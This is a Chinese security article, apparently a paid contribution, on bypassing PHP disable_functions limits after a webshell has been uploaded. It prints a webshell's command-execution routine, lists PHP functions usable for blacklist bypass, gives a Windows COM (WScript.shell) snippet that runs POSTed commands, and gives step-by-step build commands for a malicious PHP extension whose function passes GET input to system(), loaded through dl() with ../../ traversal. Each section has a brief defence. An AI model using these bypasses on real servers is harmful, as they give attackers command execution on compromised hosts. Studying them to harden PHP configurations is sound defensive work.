php命令执行绕过,[投稿]Webshell下命令执行限制及绕过方法

0x00前言

上传webshell后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方式,防守方也必须根据绕过方式想想更强的防御.

0x01 php webshell执行命令原理

php webshell(以下简称webshell)下是怎么执行系统命令的?我们找一个webshell分析下

搜索关键字定位到以下代码

Default

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('system')) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

} elseif(@is_resource($f = @popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

functionexecute($cfe){

$res='';

if($cfe){

if(function_exists('system')){

@ob_start();

@system($cfe);

$res=@ob_get_contents();

@ob_end_clean();

}elseif(function_exists('passthru')){

@ob_start();

@passthru($cfe);

$res=@ob_get_contents();

@ob_end_clean();

}elseif(function_exists('shell_exec')){

$res=@shell_exec($cfe);

}elseif(function_exists('exec')){

@exec($cfe,$res);

$res=join("\n",$res);

}elseif(@is_resource($f=@popen($cfe,"r"))){

$res='';

while(!@feof($f)){

$res.=@fread($f,1024);

}

@pclose($f);

}

}

return$res;

}

即按顺利调用system(),passthru(),shell_exec,exec,popen函数 成功调用就不再往下调用

0x02禁止webshell执行命令原理

Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,

服务器便是用这个来禁止php的执行命令函数,

例如

Default

disable_functions =system,passthru,shell_exec,exec,popen

1

disable_functions=system,passthru,shell_exec,exec,popen

便禁止了用这些函数来执行系统命令

0x03黑名单绕过

知道了原理后,我们便能想出很多绕过的方式

首先是黑名单绕过

我们看看php下能够执行系统命令的函数有哪些

Default

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)

1

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)

那么 便可以看看php.ini中的disable_function漏过了哪些函数。

然后 hack it.

曾经在给某大企业做渗透测试时,未禁用assert 成功执行命令

乌云上的案例 未禁用proc_open而引起

解决方案:关注并收集php系统命令执行函数,补齐disable_function项。

0x04系统组件绕过

这个方法适用于windows

看代码

Default

$command=$_POST[a];

$wsh = new COM('WScript.shell');   // 生成一个COM对象

$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

$command=$_POST[a];

$wsh=newCOM('WScript.shell');  // 生成一个COM对象

$exec=$wsh->exec('cmd.exe /c '.$command);//调用对象方法来执行命令

$stdout=$exec->StdOut();

$stroutput=$stdout->ReadAll();

echo$stroutput

?>

Shell.Application也可以实现同样的效果

彻底的解决方案是 直接删除System32目录下wshom.ocx文件

0x05拓展库绕过

Linux下可通过编译拓展库进行绕过

网络上的方法及官方的方法 都提示错误,

经过研究 给出一种正确编译PHP拓展库的方法

前方高能。

首先得知PHP服务器php版本,下载个相同或相近版本的php源码包

Default

tar zxvf php-5.3.10.tar.gz  //解压缩

cd php-5.3.10/ext

./ext_skel --extname=dl  //生成名为dl的拓展库

cd dl

vi config.m4

1

2

3

4

5

6

7

8

9

tarzxvfphp-5.3.10.tar.gz //解压缩

cdphp-5.3.10/ext

./ext_skel--extname=dl //生成名为dl的拓展库

cddl

viconfig.m4

将这三行

Default

PHP_ARG_WITH(dl, for dl support,

Make sure that the comment is aligned:

[  --with-dl             Include dl support])

1

2

3

4

5

PHP_ARG_WITH(dl,fordlsupport,

Makesurethatthecommentisaligned:

[ --with-dl            Includedlsupport])

前面的dnl去掉并保存

Default

whereis phpize          //找出phpize路径

/usr/local/bin/phpize     // 运行phpize

vi dl.c

1

2

3

4

5

whereisphpize         //找出phpize路径

/usr/local/bin/phpize    // 运行phpize

vidl.c

Default

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {

return;

}

1

2

3

4

5

if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"s",&arg,&arg_len)==FAILURE){

return;

}

这一行下添加

Default

system(arg);

1

system(arg);

Default

whereis php-config  //找出php-config的路径

./configure --whith-php-config=php-config路径

make

make install

[root@TENCENT64 ~/php-5.3.10/ext/dl]# make install

Installing shared extensions:     /usr/local/lib/php/extensions/no-debug-non-zts-20121212/

1

2

3

4

5

6

7

8

9

10

11

whereisphp-config //找出php-config的路径

./configure--whith-php-config=php-config路径

make

makeinstall

[root@TENCENT64~/php-5.3.10/ext/dl]# make install

Installingsharedextensions:    /usr/local/lib/php/extensions/no-debug-non-zts-20121212/

成功生成了

查看php.ini的

extension_dir 项

Default

/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so

1

/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so

拷贝到extension_dir目录下

若extension_dir目录无写权限则可写入任意目录用../../来绕过并调用。

利用代码:

Default

dl("dl.so");  //dl.so在extension_dir目录,如不在则用../../来实现调用

confirm_dl_compiled("$_GET[a]>1.txt");

?>

1

2

3

4

5

6

7

dl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用

confirm_dl_compiled("$_GET[a]>1.txt");

?>

查看1.txt即可看到命令执行结果

防御方法:将dl函数加入disable_function中禁用

赏金发放情况:本文获得赏金200RMB,已于4.15日发放到作者账号。

征稿启事:91RI一直相信“你不与人分享,谁与你分享”,分享的确是件非常有意义的事情。为了让优秀的同学有 地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活 动!本次活动的详情可以围观《征稿启事》

你可能感兴趣的:(php命令执行绕过)